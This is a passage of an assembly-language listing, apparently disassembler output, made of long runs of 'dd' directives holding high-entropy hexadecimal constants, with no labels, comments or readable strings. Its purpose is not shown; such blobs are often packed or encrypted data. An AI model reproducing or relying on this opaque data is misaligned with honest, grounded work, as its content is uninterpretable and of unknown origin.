74251F1Ch, 9BBC003Ch, 0F241562h, 417A2BB8h dd 4419CF9Dh, 0D765C030h, 0D984651h, 4A0AB920h, 0E5D32052h dd 0AB001C4Ch, 5DEA1FE4h, 0C7D8018h, 0F4976CD2h, 2E409D36h dd 7ABD905Bh, 4BB62B85h, 3E1C704Ah, 0BFBED60Eh, 8724046h dd 96E96779h, 8090A54Dh, 0BA07CD8Bh, 0B1752AB5h, 362D3510h dd 236601A0h, 1E017CBDh, 81A72076h, 8E7B93DFh, 9C7F8D9h dd 305B7518h, 52621D0h, 900B02CBh, 0DFB5802Ch, 0B5358BF8h dd 0C5E6FE85h, 22BF7AF0h, 8E62EA00h, 0F1C7809Dh, 0CA140DBBh dd 0C6CC2F92h, 7C5DC942h, 4000DC2Fh, 0F3D9D7D8h, 2774B4BBh dd 0C9318E9h, 5CFD6087h, 0C405BA72h, 0B2C0D6F8h, 89C182ACh dd 419D595h, 3727E51Fh, 36560044h, 0D6530C9Bh, 255B2290h dd 7E65C912h, 0AF1EE81h, 4468900h, 0C34BCD95h, 1E987765h dd 521E2AC0h, 89C0E975h, 95092434h, 0BB7BA35h, 0FDD9D23h dd 1AA9325Eh, 1120C928h, 694E9130h, 0B3490701h, 80803850h dd 16C7A964h, 0C1B6002Fh, 6B88DBCAh, 61E2607Bh, 0EEEAC6B5h dd 3F58995Bh, 0F37AB0CDh, 405C74C2h, 39B6D77Fh, 85BB0E4Ah dd 53813022h, 0C800FFF8h, 0DF23E896h, 1A6BD9h, 80847BE1h dd 78727A29h, 0C4645F4Ch dd 23511882h, 8DA7E100h, 0BC633085h, 671F5700h, 5B174003h dd 0D89105D6h, 0BD583C4Eh, 0E67DB898h, 1ADB076Ch, 38399D33h dd 14897034h, 0EB6E7Eh, 65FB2A1Bh, 2E159502h, 601BCEBDh dd 0D2C80BDAh, 10D70900h, 0B4686A29h, 0C8504AA9h, 451CF6A9h dd 0C580B502h, 27C7BB98h, 6B344884h, 0A64E714Ch, 4B6AE028h dd 90470921h, 0D194F5A8h, 0CD1FFF95h, 26709182h, 0BB52E094h dd 619B2FBFh, 0F8254737h, 62670091h, 95C7FEE9h, 85E874B3h dd 90AFF0B9h, 5CA8E71Bh, 0D342FFD8h, 3538275Ch, 0A7E6F74Eh dd 5CFB23D1h, 4155FB60h, 0DB6E812Fh, 21E958CFh, 0D584EB2Ch dd 30500122h, 44C1110Ch, 3DC101CCh, 0E6910E8h, 0E24C0987h dd 0ED5A5803h, 36EBE71Bh, 6408BC36h, 1B2CDC73h, 28295066h dd 58188121h, 5701139Ah, 0AB841B13h, 14E8E2A8h, 4CF948Ch dd 0F6093CCFh, 8F96E10Ch, 29E59741h, 3CBEA29h, 4322D82h dd 78F5B522h, 89EC85EEh, 0BCFB041Fh, 9931AAD1h, 0A95353A5h dd 71DC1E78h, 32A82417h, 24159010h, 0F508A3FCh, 85310509h dd 1AD8BDDDh, 76757DB5h, 8C16DC86h, 80307F3Ch, 0EE2DC8BCh dd 0BB8D05D5h, 0C1F37889h, 24158524h, 0C75B5B57h, 0CDE5221Eh dd 0BD50E015h, 0C107DF1Bh, 0D0733AD1h, 710E099Bh, 0CEDB1FAEh dd 41202981h, 0A16FA8AAh, 80E8CD00h, 0D479C5ADh, 0AC1C25BFh dd 6199EBD9h, 0F4101142h, 0DE003E54h, 0D62D55C2h, 7BC163A3h dd 113107EDh, 1B616637h, 3BED830Bh, 7D79BCE0h, 3D5E02D1h dd 0EB5558F7h, 0DB81034Ch, 2F48C161h, 5ACEE4DBh, 5D51DC01h dd 993C704Dh, 92FC3253h, 29A05AE6h, 0D3A7494h, 0ADBD8C33h dd 25855927h, 1C5B0F25h, 0E8204AD1h, 1E8F06E3h, 1FC48689h dd 8362EB9Ch, 89F7C2C2h, 825F56DBh, 51858957h, 415B7249h dd 2D2050CDh, 161CB8B3h, 4B89136h, 17CAD4B2h, 0F9948BC6h dd 0F439DEC2h, 0BCB4CD00h, 0B36B80B6h, 84DE17A8h, 0F08FB66Ah dd 186478h, 81C409E1h, 8529FBA0h, 482E5912h, 0EFC0D797h dd 0E16E69B5h, 60273026h, 0E0B08171h, 25F480CFh, 0B54E616Fh dd 930359Dh, 0CF70E95Fh, 0E0B8DC9h, 1F5D7014h, 0B07B313h dd 526221ABh, 0DE8B4F10h, 115B6048h, 8D172BB9h, 0A248D6E1h dd 6F142927h, 6B404EDAh, 81DEEF68h, 8E93A4Ch, 4E4831A9h dd 19742FBAh, 0AB2A00DCh, 0DCE77BFAh, 0F274C10Eh, 66BF5002h dd 0A9516E54h, 40D85081h, 0CF9C572Fh, 73009747h, 83EDB6h dd 30470177h, 5FEE6635h, 10B793ACh, 2D7474h, 67D4613Fh dd 8B29E77Eh, 0FD93DA50h, 0ECC91349h, 2738A4C7h, 8E46870Fh dd 148DCB12h, 4ABBF6BBh, 0C10C8FEFh, 8C0F3F69h, 0FB6F202Bh dd 99147DBBh, 2ACE2B09h, 250931Dh, 408A58CEh, 0FB155139h dd 0C00A9B6Fh, 0BB9ADCB3h, 4B9802ECh, 0C627A5FFh, 5D0D0D3h dd 0F83E0166h, 0C20D1D80h, 3F8321E2h, 0B1C7E9D3h, 0EA2B16E1h dd 9529C920h, 35FBC9Dh, 0FFF1AFE9h, 0BCE1B98Dh, 0AC8C071Ch dd 635352B0h, 8013B4E0h, 61EC320Dh, 7FFC2DD0h, 4CEA2C01h dd 0AEF8EC1Bh, 313A17EDh, 0E851BF82h, 0A9970E87h, 802DB7C6h dd 3AA788B7h, 440CBFE9h, 4A3368FCh, 919D2529h, 0CE24DED1h dd 744C4389h, 0B001DEE6h, 0A4CE838Eh, 0C27A5579h, 5A7430BCh dd 0C6BB6640h, 0A906744h, 0E007F9FDh, 6138B32Bh, 3B90A2DDh dd 8910BB9Fh, 770A6C77h, 989DFB70h, 0B0BD4895h, 0B030022Ch dd 0C79F6096h, 0E4690274h, 0ABA80155h, 0ED302F40h, 0FDF7D94Dh dd 0F2312FA5h, 423B8E0Fh, 0D1FFF805h, 1A4445C7h, 7A780A60h dd 0A72B5B09h, 4F12D167h, 93EF2DBCh, 7941F640h, 72024C6Ah dd 0B00C534Eh, 468A0EE0h, 78DE1C5Fh, 83F2C1EEh, 0F5ABB452h dd 240C6295h, 66402A61h, 0B3EFEDBFh, 36BB0050h, 8937B262h dd 32B98D2Ch, 7919E989h, 43DEC2C2h, 4CD35F09h, 25859C58h dd 0E67FC6A9h, 0B77CB09Dh, 2A997B90h, 0B80CB09Fh, 7BF0001Ah dd 10747925h, 509CD6Ch, 795FDB0Fh, 0FF53A5FAh, 1C76D270h dd 437DB27h, 0AE5390F9h, 67EA3535h, 0E1B7714Fh, 15DB2A90h dd 90CCC09Ch, 81C28527h, 0A1F6CF05h, 0E38120E2h, 283A2F69h dd 8D34291Ah, 0F2B91BD1h, 8C1BB8h, 0FF77C18Dh, 0CCF8AA31h dd 7DF1A997h, 0A078FE7Bh, 0A236001Fh, 0EB21C78Ah, 56169D10h dd 32E98D01h, 0FF6A5F0Bh, 0F9C0C76Dh, 92A5B1Bh, 9D09DCBBh dd 60049DFAh, 15819533h, 417202EDh, 0DE6E610Dh, 8B952155h dd 1BA5099Dh, 3E4527ECh, 5F9B041h, 6DA9BF04h, 860AD381h dd 0A026A4B0h, 0E6011B10h, 65BD0370h, 0C9956F33h, 6D60C630h dd 413602CCh, 91C3A0B9h, 591FE5Eh, 75BE5B62h, 782D0074h dd 0CD996C05h, 6509C71Eh, 79F561F2h, 264A2BF1h, 14B90C7Ah dd 605AC1E3h, 5C2A720h, 0A488000Eh, 0DE3D2F03h, 5D00AC87h dd 718E4E7Ah, 2EA4293h, 0C63EE81h, 0DEF405D5h, 159D8982h dd 0C1561A2Ah, 825E2h, 5F53C82Bh, 3109D1F4h, 3B33098Dh dd 0CBF8FCD9h, 0CE43E681h, 0B3EDD064h, 72EE5B6Bh, 0BD2B28CCh dd 1C998Fh, 80F38107h, 4668332Eh, 989BE12h, 94E77931h dd 8C88B21h, 85295685h, 5BF142BFh, 95654CE9h, 0AAB8003Dh dd 438E7049h, 0B3244BF6h, 9589049Dh, 31AF23A5h, 102984C1h dd 5F850360h, 0DE7FB409h, 0A5836114h, 5FFE261Fh, 1A17BD08h dd 74094EF5h, 839C087h, 0F6FDCC25h, 0EE4B4BD6h, 6D898ADBh dd 335D8B02h, 56EF8120h, 53C0284Bh, 0CC5209Ch, 1232DB9Eh dd 0A7B293Dh, 94181759h, 1229A80Fh, 4558A0BFh, 0B217B906h dd 0D1CD951Bh, 77E7C4CFh, 0E3806EBCh, 7A1299DFh, 0E5690D00h dd 13657289h, 0BE9D00A0h, 9CE78134h, 1F4BC1FAh, 1DBFDC4h dd 96D910C0h, 9A4EA8CFh, 27E98C11h, 2C37FCh, 0E0165E48h dd 7F0AC82Eh, 0C92B644Bh, 3DDF8100h, 0B81D34C6h, 57D2271Dh dd 0ABB39A90h, 25C2D00h, 0B1E75626h, 0D24C1F13h, 7D624265h dd 27745FCCh, 25BD8978h, 46F716C9h, 661300D6h, 7680CB6Ch dd 4990EB85h, 4C1B0527h, 26ED9706h, 0F3BC1FE1h, 4B68BFC0h dd 79CDAAB3h, 9D082520h, 0D6BC2916h, 0E9160BD4h, 8301A86Ah dd 3A56F1B3h, 0D0B45DC0h, 2B1A9D5Fh, 52ED0043h, 0F42FF283h dd 1306AFFh, 0FCBF8FFh, 19931E8Eh, 0F497E5E8h, 561CAED9h dd 1907BD9Fh, 34A0C2D3h, 13136C6Eh, 4E72E99h, 9186D13h dd 4434D15Bh, 0BF805D79h, 0B9CB81F8h, 36AB1C63h, 8A7B2FB8h dd 0B82C46D8h, 0D0621DDFh, 0F46A744h, 313797h, 0D1AEDA10h dd 0BB1243E9h, 789BE1FFh, 4DC9638Fh, 0B4451FD1h, 0D2760CE1h dd 8A1520E7h, 0D117BE30h, 0D1C86019h, 5C704Bh, 18F744Eh dd 8889AB2Fh, 8B665905h, 3DF861DFh, 54470927h, 2C04AC38h dd 0BDC113E0h, 133279C2h, 0A2FC3777h, 37338C5Dh, 0B4B55B29h dd 6AC46057h, 0F1120A89h, 0B8312D3Fh, 0F423000Fh, 0EECA325Dh dd 9D5885D8h, 11C910CEh, 0C459C44Bh, 8632AE98h, 903574D9h dd 0D6ADD251h, 660007A8h, 0D963FBA8h, 739D23F7h, 0DEE49D79h dd 0AFDD074Ah, 0D1C3385Bh, 0FA8CCBD5h, 2EC5C16h, 398980CFh dd 0F32F52D1h, 7CA97867h, 6515CD02h, 57A058FCh, 0DED2D582h dd 8A1DEADCh, 83310F4Eh, 0D0585ADCh, 80B960h, 0BF01B6FBh dd 73DFA3D5h, 0FC906134h, 9F6A8BB4h, 0CFE020CDh, 5C9956Eh dd 0DD5469BAh, 55918CA3h, 90C1BC00h, 0AE323942h, 1870FB9h dd 14008CF7h, 0F54D68CAh, 8B26C300h, 243481FBh, 0DCF631B2h dd 5471BD12h, 0D615A99Fh dd 38A089B6h, 9704E303h, 0FC0CC895h, 66CCC5BCh, 0E425E97Eh dd 0D0717301h, 48D2B4E6h, 0E24BA9E3h, 7F630024h, 7417D3BCh dd 0D19D2F31h, 0BD5FAB04h, 307A5FB7h, 8D89DA0Bh, 0B35CB392h dd 0A5897169h, 4C005AE4h, 9FB4662Bh, 1315CBh, 0F862E490h dd 89569254h, 4559D11h, 128FBC77h, 78F65DFh, 0F4023D3Ah dd 563EBC38h, 7ED0F198h, 1A206E4h, 53FC3D7Ah, 3ABD9D29h dd 6696D8D1h, 0F9C64E3Fh, 0E0FAF6F3h, 2914DA3h, 9D0361E5h dd 635E2B51h, 0DCB456E9h, 61105F00h, 6CC05047h, 5A92489Dh dd 6801F771h, 0CC7D20A0h, 97CC90h, 84BE666Fh, 0D221EB87h dd 0D340E725h, 0B240481h, 33DC735Fh, 0D0879F37h, 9FF7E2BBh dd 1240F1C3h, 0F229A58Ch, 0E06BD228h, 8E1C4100h, 29322277h dd 34B5E416h, 14C806CFh, 9529F5C1h, 64F14FD6h, 53676015h dd 0C1F6C9F5h, 53AD7BFEh, 0E76E7067h, 0FC315900h, 0E9C16C64h dd 6028880Ch, 30745F8h, 0A20F569Eh, 66193EE0h, 8C2226BFh dd 62FF25F9h, 5A1E5C87h, 8BE1E9CDh, 0E7630DD5h, 405E2A00h dd 0A0E23F98h, 0C50A9225h, 2D4C1C59h, 90D1465Bh, 1751D26Eh dd 5E3FE903h, 0E09DA621h, 3995842Eh, 31A5BD89h, 957C5CE7h dd 0D7023135h, 7F9CFAB2h, 452DDD90h, 993A3700h, 346AED67h dd 0B4AC0010h, 8996191Dh, 324BFD95h, 501251CEh, 0E827FD04h dd 0D9C0AD5h, 1ABF5CEBh, 46F95B31h, 0DE250E00h, 1C9817Fh dd 14745DEEh, 22996D47h, 40BC42Ah, 25D37AFBh, 2532F9A4h dd 84B388C4h, 1034DD0h, 7836F526h, 638B5896h, 898D4B1Ch dd 39056E6Ah, 53B8A43Fh, 0FBDE4903h, 0ACB8BC89h, 747BFCC9h dd 0D649ACh, 564D06CFh, 816058BCh, 50F9CF0h, 179623DCh dd 67078BB2h, 0B015C4DDh, 0B658C2F3h, 7346F405h, 0FFB3C7BCh dd 0EA8A5905h, 66F9C061h, 4975FFBBh, 195F90BDh, 43740B22h dd 460C09D4h, 98989602h, 0FD107D4Fh, 4AB9A4CBh, 9800E1A8h dd 1BEC0C26h, 413D9D09h, 0B0122B15h, 7A507AE3h, 0DD284B49h dd 0D4EA3C59h, 299D1259h, 0DAD73FF2h, 0E6F48009h, 31308F3Dh dd 0F1F8688Dh, 0D33E0701h, 2E06A1AAh, 0EB814C34h, 123C20C2h dd 0FE6ABBC0h, 8B976FDCh, 801E8155h, 2F08C3h, 6812BF4Bh dd 9A9769CDh, 226631h, 8F293FA5h, 3EFD426Ch, 0ECCC509h dd 893F7971h, 0BE76B529h, 0DDCDF5A5h, 25EAD9E5h, 0E04AEF6h dd 0B8122BBDh, 0DFA68057h, 3D69F162h, 0DA8E0991h, 3500499Ah dd 0B748CFB6h, 4A0A9402h, 0F05E50B1h, 7512AA5Fh, 39809C37h dd 0E6B4FFD4h, 0C428507Dh, 0B2314A3Dh, 6DDAD301h, 0EF97ED80h dd 530535B7h, 96F05B29h, 1F7D61A2h, 0C07B6012h, 0EA1D77BFh dd 0B301A5D3h, 9C4AD622h, 0FC45078h, 0B31DC8Fh, 3F6D965Fh dd 0CD367AC3h, 0C99D45C0h, 711E9212h, 2CF828AEh, 0F8C8B3A3h dd 0CC03B2C9h, 910F1B0Dh, 0B38D88B7h, 9D9897B0h, 10BF781h dd 0E12B348Bh, 0B8041042h, 0F430A287h, 5500F6F1h, 5D7291D0h dd 4CBBCE90h, 510E4096h, 0B1D650AFh, 4E4B6C54h, 16C884DAh dd 678062C1h, 0A210E38h, 0DE13FD09h, 0F61DF4F1h, 9420A58h dd 0B014F1B5h, 4BF38055h, 3E84DD24h, 7820F9Ah, 6B6069B6h dd 6080303Dh, 0B705EE09h, 61CE1968h, 2529563Dh, 5B8604DDh dd 17A290BCh, 2B91E913h, 0BA4ABF00h, 0E63B3925h, 97F9EC9Bh dd 0BCF87884h, 14A9B44Fh, 0D100DAB8h, 0D074B97Dh, 581C42BFh dd 580E3569h, 6F32FFF2h, 0DCFF4ADEh, 2909F982h, 7909B99Dh dd 5818FA6Fh, 0CD048E12h, 0F886E67Fh, 0F75E6CBDh, 7FF5A04Eh dd 20E4001Eh, 80122F32h, 905EFFE7h, 0ADE002D4h, 49074601h dd 69FAC95h, 0B91699ABh, 0B795FC5Fh, 394186D7h, 5D13F8F7h dd 0DD7A4C55h, 0A42F300h, 8FCA7D28h, 76A48B97h, 0A728DC96h dd 1D5492F3h, 9DA990C4h, 37206A50h, 137F37F0h, 2800720h dd 0D5784B33h, 0D640E254h, 9057D7h, 17916F98h, 0B4559372h dd 5FF90417h, 0A3BC26F9h, 80D9FE3Eh, 85C9B6A7h, 966A2534h dd 1A09DEDDh, 54012F9Eh, 0E96A45D5h, 2ADBCAAh, 32ABA2F1h dd 6BC6FB38h, 6F61A800h, 2AA481E0h, 2BB2012Eh, 0A2EB8B9Ch dd 7EDEC52Dh, 556DC7DDh, 540216A8h, 0F2DA7CE0h, 59DD8247h dd 5E790910h, 80CDB7A7h, 5369F3D3h, 87E2BF9Dh, 6AC5B105h dd 0FEF6D1FFh, 47E0D5E3h, 0BB02E7B0h, 0F780C67Bh, 51827451h dd 0FBBB1062h, 4BE604A7h, 0C20B026Ah, 500023C9h, 271189BFh dd 768B255Ah, 53706A53h, 71270EBCh, 72E5EBCAh, 4E76CAC7h dd 781DEDAh, 6425B501h, 0B027E983h, 8889450Eh, 0CD495567h dd 8F6E4005h, 952C3160h, 79A78D41h, 75A00066h, 0D285B7BFh dd 0A750C404h, 24EEB2F2h, 9C1ABC6h, 43F615Bh, 9BB68427h dd 0C103C1A4h, 0C4CA898Dh, 0BD231A78h, 0B25E0D41h, 80A735EBh dd 8FBC7BF9h, 6C010959h, 805C8234h, 4D30F5DFh, 0C1CB12BFh dd 4EA4A250h, 9512B0h, 0EBDC32C7h, 3F25694Dh, 76D8A900h dd 6068F7CDh, 615A0953h, 3873905Bh, 0CF4D173h, 0BBB9343Ah dd 3EC9049Bh, 238FCFD0h, 0DE8BDF61h, 0E6CA743Ah, 5B00A790h dd 240F6699h, 24F5DEB7h, 0C607DED6h, 0B0EED2B7h, 20D48CF0h dd 4A41BF82h, 0E0A1AD1Dh, 9D6C2720h, 813AF31h, 1CA1209Dh dd 10A9B05Dh, 0E6172361h, 8004F870h, 56C01A68h, 71E400C9h dd 0F6EB81F9h, 424E9178h, 48E8A193h, 0E910212Dh, 0A2C04B26h dd 5FF2BB66h, 67B382h, 1CF781C1h, 9D73D203h, 0C5607207h dd 0D320BBFAh, 9D50234Bh, 2CA0A05Dh, 0F0DDF9ADh, 780100CEh dd 5BE580BBh, 119D6159h, 0AD14078Ah, 0A75F0045h, 8BC82B5Bh dd 0E2294ED1h, 62894FBCh, 0FBBD7510h, 24C40966h, 0DBF4858Bh dd 9E65182Fh, 98620A44h, 1AFA7F1h, 6DDBAAF7h, 91103A5Bh dd 93912AAh, 2B8278ECh, 17394DBDh, 0E1958910h, 8A470B44h dd 385D4C57h, 0F75B85BDh, 9D0B04E8h, 87E905F9h, 0BF802688h dd 5937EA0Ch, 0EDA108BBh, 0C9082ABCh, 95A8B22Fh, 3E896A69h dd 278A50CCh, 844C61CCh, 0BEE73E20h, 48EB0754h, 6A1C238Ch dd 0C33ADB84h, 0A8389E0Dh, 137ABEEBh, 0B2DBA021h, 656B004Bh dd 9444F8F2h, 95010B61h, 8BF62FB9h, 40A75C52h, 352C4032h dd 319F3A00h, 10B95F4Ah, 0D4FBF09h, 20F8DE40h, 6D4605C6h dd 0A23C4022h, 0C203004Bh, 0BFB5048h, 0A67101CBh, 0B08A95C9h dd 943360h, 22732C56h, 1E849C16h, 854E53h, 0BE3693A5h dd 1800559Fh, 8D4C68BBh, 4E5F5B02h, 0BF9580FCh, 743C0B7Dh dd 0A79BDF2Ah, 0FD18849Ch, 5F0EAF8Ch, 0C29E17B8h, 21FE8CC7h dd 2EBAF98Ah, 4B71AFCCh, 0D5A4B708h, 70AC0Eh, 0FE50452Ch dd 923F0868h, 0F972BE98h, 2F4EBD7Ch, 0DA5A918Ah, 5F809E8Eh dd 0D3BF7162h, 4EAC7128h, 3B879DD0h, 0FE807C9Ah, 0CD317867h dd 5C4E77E6h, 633D808Dh, 180517B8h, 0F0CE775Ah, 2A8101C1h dd 0C027FE04h, 0E94186A0h, 12D200D3h, 380BEA25h, 0B700043Ah dd 50A477B0h, 70B58947h, 3A5B817Dh, 6A4BC02Fh, 5A8F0037h dd 597A86D4h, 203C5FB3h, 8707AD03h, 1FE54F1Ch, 928F2F87h dd 1DECAEE0h, 0B5149D41h, 3EE17E70h, 8EC3069Bh, 0B8931152h dd 69095684h, 0A7ABD39Bh, 36049835h, 0F5C2D32Ch, 85705EBDh dd 8CE1FFFCh, 66BDC95Dh, 7C3E00A4h, 41EABB98h, 54276065h dd 0A7F6F95Ah, 5896445Dh, 0DF048C5Bh, 0E87DD12Eh, 0F86FA2BAh dd 0A6B79D43h, 0EEABDE03h, 9FFF5EFh, 0BEE95D3Eh, 0CA5CDA9Dh dd 0DC28BF01h, 283A5B8Eh dd 7FD24BAEh, 0E7B830B9h, 168F7309h, 48C0D127h, 6532D26h dd 5FE68D70h, 0A492C864h, 0B3B85807h, 1AC0C247h, 78FF4184h dd 0C7BA009Bh, 5E653F91h, 0B9BC60E9h, 1B3484C9h, 8C90F7E8h dd 0A222C113h, 0CF9B4AD2h, 0E9662884h, 12512E6h, 747AFEh dd 8B310E8Ch, 13FD70AEh, 4FCF894h, 0AF1B150Ch, 25BD9228h dd 10F1230Dh, 51595B69h, 0D87418Bh, 2CD10402h, 0D83B6090h dd 0C7F8DADDh, 0C2CAD297h, 310FD826h, 897ED5C6h, 0CA067200h dd 5ABD957Ah, 87905658h, 133965F0h, 0D1B3439h, 4875E063h dd 73E0A876h, 0E2003823h, 7679B713h, 1FFC78BCh, 9AFE7068h dd 0C071D03Dh, 0C7874F00h, 0D9A354h, 0D857EFB7h, 0FD047864h dd 0FA8BF0C6h, 0EB8797DAh, 3D6CB28Fh, 0F00171E6h, 382C95A3h dd 342F0AA5h, 0B1E70800h, 11D4EEA5h, 2BAE9DEh, 8D48D6BBh dd 4BBA7423h, 4DE5CDEh, 47B6BD0Dh, 51BCEBAFh, 0E8FEB7C4h dd 0A8DE4AD1h, 0C604ADC9h, 92CEE86Ch, 78C9FBDBh, 46D67376h dd 795D001Dh, 9DEFBD7Ch, 860928E3h, 4C9DAEB2h, 0BD09A5B7h dd 31760141h, 257E5AC8h, 8044500Fh, 0AF967900h, 0A65DC0E7h dd 1B82096Dh, 3A76468Ah, 1271B58Eh, 82A434ECh, 9C5D1C98h dd 4B8B7E34h, 0DE2EAC50h, 8FF5DF5Eh, 85BBC442h, 0DE4D491Dh dd 0D1704B07h, 9F510544h, 0E712F26Ah, 0EE006866h, 22C7859Ah dd 8AD662h, 0A8E99B3h, 0DBE7900Ch, 8B51F700h, 585F5BFBh dd 8803EC0Fh, 204EEB80h, 0B7FDC18Dh, 0E194B0B1h, 5F2D682Fh dd 18E0CFF6h, 81625E8h, 70B6880Fh, 0AC450D27h, 4FD24DA7h dd 13ABC980h, 212628AEh, 0DE5461h, 5305D971h, 0E24DDA79h dd 1D347EF5h, 0B9F496BCh, 0C8AA878h, 2A7E60EFh, 134AE560h dd 3189E9F3h, 0EF6707Eh, 0B76AEEACh, 852C8CECh, 0E9B28D54h dd 9C31F52h, 0D1F88AD8h, 682CDD75h, 964897D6h, 0DD09BBF8h dd 7E7C7019h, 0F300DC43h, 0C62914F6h, 9BAC7CDh, 699D8947h dd 0DAC09155h, 0D8E283Ah, 693FF48Ah, 2EBD1F82h, 0F425FC9Eh dd 407D4F03h, 0FB3EBBBCh, 5B132925h, 618A129Dh, 6209C5BFh dd 1A4E7665h, 0DCA44B9Dh, 0DF814073h, 345E0249h, 9F7D32E0h dd 93804ABDh, 0BFD99B29h, 0ED8C188Bh, 6A99031h, 6B5B5E82h dd 31B52E1h, 91261060h, 98AE4E0Bh, 315F514Bh, 0D320D5C9h dd 0E98D1201h, 0D0EAB210h, 3BFDFC5Ah, 0B77433ACh, 7A320FF0h dd 0A4B59052h, 1DE85BFFh, 0E02DE6D7h, 0DA7B2Fh, 0D7D37CA7h dd 0FDB589AAh, 3FBB2B8Ah, 29F7011Fh, 4083EE37h, 286595A5h dd 4EC2B788h, 0C85F9A61h, 78EAC116h, 0CE047E5Ah, 54E8BDB7h dd 0FACCBBC0h, 0E09C4891h, 0D46756EBh, 532D4000h, 83B0B3C1h dd 0FBCDB7C2h, 9960DE0h, 234D2085h, 0BB8E8897h, 0B484B116h dd 66C18FBCh, 3A9FA5BFh, 60BA8235h, 280185C1h, 95316CA0h dd 9984694Fh, 1BACA6B9h, 0C2AD388Ch, 0B90B5187h, 0CB8140FAh dd 6D2F4854h, 91D4B575h, 9AB48019h, 4A84D123h, 64CAFD76h dd 0A694D908h, 0A2D8A04h, 14BCC1EDh, 1DF0B8Ch, 0A35E0D9Dh dd 9C40B945h, 4BC08160h, 51033BFCh, 8B7052DCh, 2C69D2E8h dd 61019612h, 3B9DC0E9h, 0A31F0D13h, 0AD34881Dh, 218244C0h dd 792964Ch, 50537BCCh, 0C012ED7Bh, 4C726641h, 0FCC45769h dd 907BA5E5h, 59094324h, 0B203D323h, 61F661B2h, 64584D27h dd 7882601Ch, 92A7B02h, 23A8BE29h, 135405D1h, 0ECDC49AEh dd 7096D52Eh, 0D9D82C83h, 0FFC5A515h, 0B2EDCA38h, 1112CFECh dd 0A90495C5h, 800205B1h, 3A5DCBD7h, 93B57FB7h, 8F614800h dd 0EA26A734h, 55DB31FDh, 111B3568h, 13AA5EFh, 0EDB50148h dd 84E56928h, 0A7C0DEA1h, 78702A0Eh, 2CECB9h, 0D549C922h dd 38C01C33h, 0C9B50EB0h, 2C3A5B62h, 9402BF6Ch, 0E95DA614h dd 264B74CCh, 0E9291265h, 0B6E69695h, 207448A2h, 0B1BD0961h dd 0BB006F6Ch, 379BC67Ch, 0FC138A50h, 6FBA0489h, 0AF3C0093h dd 0BB7AD82Dh, 0F1F0C50Ch, 85FAFC0Bh, 0D18D890Fh, 0C0053DFCh dd 27550185h, 79976A4Eh, 0B872802Ah, 42B1546Dh, 0F064D000h dd 0C480EC5h, 0D27F61CEh, 2B4C65A9h, 34C0B39Bh, 1A5D0C4Dh dd 5A132378h, 10A11086h, 0C16E6Bh, 3F71E2F6h, 27EBEA85h dd 0AEF150A3h, 0AFC1B725h, 8DD1982h, 94B66A04h, 95091060h dd 0F19722A5h, 79DB6B61h, 588FF958h, 980486BCh, 0BC49F142h dd 0FFF5C097h, 9740B7D1h, 0B458A5E2h, 12D5ED95h, 25A09B7h dd 0F6A5FC37h, 96809D2Dh, 0D8414A50h, 495BA7A9h, 88F5970h dd 48635C1Ch, 0FB30DD09h, 0E9FC82E3h, 4C5E0CEBh, 8465B358h dd 40C56D97h, 6BD1DF0h, 0F3121FEAh, 13A6D1F5h, 0BE5FBEE4h dd 5404EEE4h, 28BC51C4h, 2DAFB8D7h, 0A744F921h, 0CC5BFD89h dd 0DE2E26h, 2B0FC7Dh, 0AD684932h, 1FF01D5Ah, 0B62A40EDh dd 9FB7FD5Bh, 0C1C6F825h, 0B8A0F1Ch, 0CFD3FC25h, 4582BFC0h dd 6A098456h, 0EA860FFFh, 0F8D677C0h, 9E59561h, 0AA95C404h dd 10B95994h, 0A99076B8h, 0D110E925h, 8EF4768h, 14F59D84h dd 3D80B00Bh, 62717DEBh, 9CF86D4Eh, 45F8B710h, 0AE482BB3h dd 378A5CFh, 0F78110E1h, 80624BA7h, 0D8529B3h, 8EBD1C4Bh dd 0E804ED90h, 0C634F950h, 78E382FCh, 2B109FFBh, 0B3C1C14Ah dd 0A50B2EDAh, 955B7056h, 0FB0F9D8Ch, 32B4397h, 9D31DE0Ch dd 0E32208EDh, 0FF1CCB03h, 3BDEA70Bh, 0DBE78180h, 971A295Ah dd 0A40D922Bh, 3612B179h, 4B2EDBB7h, 0ABB01E8Fh, 0AAC6204Ch dd 0E76D13B9h, 0A91D9C2Eh, 33B18700h, 58D444B8h, 98F99508h dd 19875A4h, 1207D38Fh, 0E246EF22h, 0B81F229Ch, 0A1A5F851h dd 0BBE8FE1Eh, 170348F9h, 0C2F86A40h, 33F2DB9Ch, 0C7C1955Ch dd 37694BF1h, 0A6010ABCh, 0F0B2C51Ch, 0D5396A43h, 60574BCh dd 0CD17E2D4h, 0B7DE11AAh, 0AF66845Fh, 769A2F75h, 78FFFDCh dd 65A0A0A4h, 0B99A4BB5h, 0F20B1C5Eh, 2F0C8423h, 7B68B112h dd 3B150D08h, 457E8DCAh, 0CF45BEF8h, 0B30AC02Bh, 0D2160805h dd 27CF9DC8h, 0C4778143h, 4B02F228h, 6B3E8FE7h, 0AC6C7274h dd 6518C4FBh, 0A423B82Eh, 5A806A9h, 707A3717h, 1FE70CC8h dd 0C05C01CAh, 0B638D0Dh, 2913A1F3h, 508DEE89h, 0F8EA8244h dd 13CD4A6Eh, 96FF63Bh, 5E157585h, 0B32F5E99h, 0C051CDADh dd 33403E7Eh, 34111B8h, 785D1B42h, 0CE14959Ch, 0CF957370h dd 0D2734048h, 0D412CFF2h, 0DA26EA5h, 57B7B100h, 0A3A7EF0h dd 0DEC8304Ah, 0DCBA95F9h, 0F650B27Bh, 42CE0139h, 4F102D17h dd 1963D4h, 979706Ah, 48FFC04Ch, 3317FAE1h, 181809E3h dd 5142C359h, 943D7D04h, 0CA3D8300h, 4156E4Fh, 0E4B59438h dd 0A2B7ACF9h, 0B162A39h, 91F127C9h, 0A4F08663h, 1F3B7ABAh dd 83C0C907h, 0B9F3239Ch, 78E6B360h, 5800A85Dh, 6D9BDDFCh dd 7B74465h, 0F8DBF9Fh, 0A858F933h, 1DC229Ch, 0BAA2C674h dd 2BF8FD14h, 3DDBC412h, 9E116682h, 2001A3C0h, 0D5397h dd 2EA1DE0Fh, 0C54A6EFFh, 0BF88D7D7h, 0FC0C8792h, 0BD03A0F7h dd 0CB0E4A09h, 174112BEh, 3380BDFDh, 3EABCE80h, 0E1B7EB00h dd 7E383F2Eh, 0C4DB4AB2h, 4DDEBBD1h, 357CBDC9h, 804A1310h dd 40BEBBC1h, 5B08B125h, 0A7E62CBAh, 6181F8B7h, 8B3AD99Ch dd 0A334EA54h, 0D6A9B8EFh, 94E08AACh, 574E500Eh, 1EC09CECh dd 44A5CAF3h, 5526E302h, 5D5F51A9h, 853AE443h, 